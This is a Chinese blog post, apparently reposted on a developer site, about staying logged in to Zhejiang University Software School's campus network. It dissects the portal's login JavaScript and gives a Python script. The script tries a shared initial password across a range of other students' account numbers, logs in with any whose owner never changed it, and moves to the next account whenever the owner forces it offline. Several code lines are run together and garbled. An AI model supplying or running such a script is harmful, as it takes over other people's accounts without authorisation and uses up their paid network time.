热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

浙大python网_Python爬虫学习(8):浙大软院网络登陆保持

在浏览器的验证窗口中输入登陆名和密码后,成功后会弹出一个小的新窗口,如果不小心关闭了这个窗口,则就会无法联网。如果说我在一个不带有桌面的L

在浏览器的验证窗口中输入登陆名和密码后,成功后会弹出一个小的新窗口,如果不小心关闭了这个窗口,则就会无法联网。如果说我在一个不带有桌面的Linux系统中,我是不能够通过浏览器接入网络的,虽然提供了不同系统的不同版本的客户端(没有用过),但是还是想自己做一个玩玩,同时依据上一篇博客中获取到的帐号进行尝试登陆。

1. 页面分析

首先还是先来看一下登陆验证页面,因为上一片博客中已经对其进行了分析,这里我们看看其它的:

上边的代码是登陆成功后设置 document.form1.uid.value 的值,在COOKIE中保存值,打开新窗口。

# 新窗口打开的网址为: http://192.0.0.6/login.html。其中location.search相当于无用,可以不管

# "user_login":窗体的名称

# width,height:窗口的宽和高

window.open("login.html"+location.search,"user_login","width=428,height=296");

执行完上述代码之后就弹出了如下的登陆保持窗口(关掉之后就会断网):

当这个新窗口开启后就会执行下边的代码:

document.form1.uid.value=window.opener.get_uid();

// 调用父窗口的关闭函数(其实那个函数什么都没有做,啥都没有用)

window.opener.do_close();

document.getElementById("title1").innerHTML=window.opener.get_uname()+"已经登录。
请不要关闭本页面,关闭本页面后将自动下网。";if(document.form1.uid.value != "")

{   //调用get_url()方法

setTimeout("get_url()", 1000);

}else{

alert("登录失败");

window.close();

}

下来我们看一下 get_url 方法是干什么的,实际上就是将父窗口重定为到浙大软件学院的网址。

functionget_url()

{//实际上跑去访问 http://192.0.0.6/cgi-bin/get_url 地址,而这个地址返回的是一个网址

var res=postData("/cgi-bin/get_url"+location.search, "get", "");//判断返回的是不是一个网址,如果是就将父窗口调转到这个网址(实际上这个网址就是 http://www.cst.zju.edu.cn/ 浙大软院的网址)

var p=/^http:\/\/.+/;if(p.test(res))

window.opener.jump_to(res);elsewindow.opener.history.go(-2);return;

}

页面中还有一个方法 keeplive() 方法,看着好像很厉害的样子,然并卵,其实只有在点击 查看按钮的时候才响应,不过我们模拟登陆的时候却需要这个处理逻辑,判断我自己是否已经被别人强退,如果强退了之后,我们就尝试登陆下一个,然后循环往复,总会有不在使用的吧(嘿嘿嘿,真是机智。。)

functionkeeplive()

{var con=postData("/cgi-bin/keeplive", "post", "uid="+document.form1.uid.value);//alert(con);

var p=/^[\d]+,[\d]+,[\d]+$/;if(p.test(con))

{var arr=newArray;

arr=con.split(',');

document.getElementById("time_long").innerHTML=format_time(arr[0]);

document.getElementById("balance_in").innerHTML=format_flux(arr[1]);

document.getElementById("balance_out").innerHTML=format_flux(arr[2]);

err=0;

}else{if(err>=5)

{

alert("与服务器的连接中断");

window.close();return;

}else if(con=="status_error")

{

alert("您的帐户余额不足");

window.close();return;

}else if(con=="available_error")

{

alert("您的帐户被禁用");

window.close();return;

}else if(con=="drop_error")

{

alert("您被强制下线");

window.close();return;

}else if(con=="flux_error")

{

alert("您的流量已超支");

window.close();return;

}else if(con=="minutes_error")

{

alert("您的时长已超支");

window.close();return;

}else{

err++;

}

}

}

其比较重要的方法是 do_logout,我们之所以关闭了这个页面就无法上网的原因就是这个函数的啦。

//访问 /cgi-bin/do_logout,并注销这次登陆,好吧,只要我不主动去调用它就永远不会注销落。

functiondo_logout(flg)

{if(flg!="" && !confirm("是否要登出?"))return;//clearTimeout(tm);

var con=postData("/cgi-bin/do_logout", "post", "uid="+document.form1.uid.value);//alert(con);

if(con=="logout_ok")

{//clearTimeout(tm);

window.close();

}else{

alert("操作失败");

}

}

2.  过程实现

理清楚了页面的代码逻辑,下来就要用python来模拟登陆。过程主要为:获取未改密码的用户帐,然后在这些帐号中选择未登陆帐号登陆,登陆成功后一直监视登陆后的情况,如果被强制下线,我们就尝试另一个帐号。

#!/usr/bin/python#-*- coding:utf-8 -*-

importurllibimporturllib2importreimportosimporttimeclassPseudoLogin:def __init__(self):

self.login_url= "http://192.0.0.6/cgi-bin/do_login"self.status_url= "http://192.0.0.6/cgi-bin/keeplive"self.logout_url= "http://192.0.0.6/cgi-bin/do_logout"self.headers={}

self.headers["User-Agent"]="Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"self.headers["Content-Type"] = "application/x-www-form-urlencoded"

# 需要更改起始和结束帐号

self.start = *****self.end= ******self.check_time= 5

#当前登陆的帐号

self.current =self.start#登陆成功后返回的数字字符串

self.uid = ""

#循环测试帐号,知道有一个帐号可以通过初始密码登陆

defcycle_login(self):#初始密码

password="*************"

#匹配全是数字的字符串

pattern = re.compile(r"^[\d]+$")#当已经访问到最后的时候,且最后一个帐号没有登陆成功的时候,又重头来一次

if (self.current >=self.end):print "将重头再来一次.."self.current=self.startfor username in range(self.current,self.end + 1):

self.current=username

ret=self.access(str(username),password)ifre.match(pattern,ret):

self.uid=retprint "已经成功登陆...,可以上网了"

print "当前网号为:"+str(username)print "uid为:" +retreturnTruereturnFalsedefaccess(self,username,password):

data="username="+username+"&password="+password+"&drop=0"+"&type=1&n=100"req= urllib2.Request(self.login_url,data=data,headers=self.headers)

res=urllib2.urlopen(req)

content=res.read()print "the login result :" +contentreturncontent#获取登陆上网后的状态

defget_status(self):

data="uid="+self.uid

req= urllib2.Request(self.status_url,data=data,headers=self.headers)

res=urllib2.urlopen(req)

content=res.read()print "the keepalive result :" +contentreturncontent#登出

deflogout(self):

data="uid="+self.uid#data="uid="+identity

req = urllib2.Request(self.logout_url,data=data,headers=self.headers)

res=urllib2.urlopen(req)

content=res.read()print "the logout result :" +contentreturncontent#登陆上网之后一直监测上网状态,如果被强制下线就返回

defsuffer(self):#循环测试,直到能够登陆

while(notself.cycle_login()):pass

#当返回的是三个数字并且已逗号隔开的时候表示依然在线

pattern = re.compile(r"^[\d]+,[\d]+,[\d]+$")#每过5秒访问一下状态

while(True):

time.sleep(self.check_time)

status=self.get_status()ifre.match(pattern,status):print "it is still online"

else:print "sorry you are offline"

#如果被强制下线,则自动加1,不然又会登上这个帐号

self.current = self.current + 1

print "下线后需要等一会儿才能再登陆"time.sleep(30)break

#如果while循环退出表示上网失败了

returnFalse#这个函数将会一直执行

defenjoy(self):while(notself.suffer()):passlogin=PseudoLogin()

login.enjoy()

执行上述脚本(./cstlogin > /dev/null 2>&1 &)后,就会在后台运行,不再掉线啰,nice



推荐阅读
  • Python正则表达式学习记录及常用方法
    本文记录了学习Python正则表达式的过程,介绍了re模块的常用方法re.search,并解释了rawstring的作用。正则表达式是一种方便检查字符串匹配模式的工具,通过本文的学习可以掌握Python中使用正则表达式的基本方法。 ... [详细]
  • 微软头条实习生分享深度学习自学指南
    本文介绍了一位微软头条实习生自学深度学习的经验分享,包括学习资源推荐、重要基础知识的学习要点等。作者强调了学好Python和数学基础的重要性,并提供了一些建议。 ... [详细]
  • Ihavethefollowingonhtml我在html上有以下内容<html><head><scriptsrc..3003_Tes ... [详细]
  • 本文介绍了如何在使用emacs时去掉ubuntu的alt键默认功能,并提供了相应的操作步骤和注意事项。 ... [详细]
  • GetWindowLong函数
    今天在看一个代码里头写了GetWindowLong(hwnd,0),我当时就有点费解,靠,上网搜索函数原型说明,死活找不到第 ... [详细]
  • 本文介绍了数据库的存储结构及其重要性,强调了关系数据库范例中将逻辑存储与物理存储分开的必要性。通过逻辑结构和物理结构的分离,可以实现对物理存储的重新组织和数据库的迁移,而应用程序不会察觉到任何更改。文章还展示了Oracle数据库的逻辑结构和物理结构,并介绍了表空间的概念和作用。 ... [详细]
  • 如何使用Java获取服务器硬件信息和磁盘负载率
    本文介绍了使用Java编程语言获取服务器硬件信息和磁盘负载率的方法。首先在远程服务器上搭建一个支持服务端语言的HTTP服务,并获取服务器的磁盘信息,并将结果输出。然后在本地使用JS编写一个AJAX脚本,远程请求服务端的程序,得到结果并展示给用户。其中还介绍了如何提取硬盘序列号的方法。 ... [详细]
  • 知识图谱——机器大脑中的知识库
    本文介绍了知识图谱在机器大脑中的应用,以及搜索引擎在知识图谱方面的发展。以谷歌知识图谱为例,说明了知识图谱的智能化特点。通过搜索引擎用户可以获取更加智能化的答案,如搜索关键词"Marie Curie",会得到居里夫人的详细信息以及与之相关的历史人物。知识图谱的出现引起了搜索引擎行业的变革,不仅美国的微软必应,中国的百度、搜狗等搜索引擎公司也纷纷推出了自己的知识图谱。 ... [详细]
  • Voicewo在线语音识别转换jQuery插件的特点和示例
    本文介绍了一款名为Voicewo的在线语音识别转换jQuery插件,该插件具有快速、架构、风格、扩展和兼容等特点,适合在互联网应用中使用。同时还提供了一个快速示例供开发人员参考。 ... [详细]
  • 成功安装Sabayon Linux在thinkpad X60上的经验分享
    本文分享了作者在国庆期间在thinkpad X60上成功安装Sabayon Linux的经验。通过修改CHOST和执行emerge命令,作者顺利完成了安装过程。Sabayon Linux是一个基于Gentoo Linux的发行版,可以将电脑快速转变为一个功能强大的系统。除了作为一个live DVD使用外,Sabayon Linux还可以被安装在硬盘上,方便用户使用。 ... [详细]
  • Python爬虫中使用正则表达式的方法和注意事项
    本文介绍了在Python爬虫中使用正则表达式的方法和注意事项。首先解释了爬虫的四个主要步骤,并强调了正则表达式在数据处理中的重要性。然后详细介绍了正则表达式的概念和用法,包括检索、替换和过滤文本的功能。同时提到了re模块是Python内置的用于处理正则表达式的模块,并给出了使用正则表达式时需要注意的特殊字符转义和原始字符串的用法。通过本文的学习,读者可以掌握在Python爬虫中使用正则表达式的技巧和方法。 ... [详细]
  • 本文介绍了在CentOS 6.4系统中更新源地址的方法,包括备份现有源文件、下载163源、修改文件名、更新列表和系统,并提供了相应的命令。 ... [详细]
  • 一、什么是闭包?有什么作用什么是闭包闭包是定义在一个函数内部的函数,它可以访问父级函数的内部变量。当一个闭包被创建时,会关联一个作用域—— ... [详细]
  • 本文详细介绍了Python中正则表达式和re模块的使用方法。首先解释了转义符的作用,以及如何在字符串中包含特殊字符。然后介绍了re模块的功能和常用方法。通过学习本文,读者可以掌握正则表达式的基本概念和使用技巧,进一步提高Python编程能力。 ... [详细]
  • 本文是一篇翻译文章,介绍了async/await的用法和特点。async关键字被放置在函数前面,意味着该函数总是返回一个promise。文章还提到了可以显式返回一个promise的方法。该特性使得async/await更易于理解和使用。本文还提到了一些可能的错误,并希望读者能够指正。 ... [详细]
author-avatar
誓言俱乐部
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有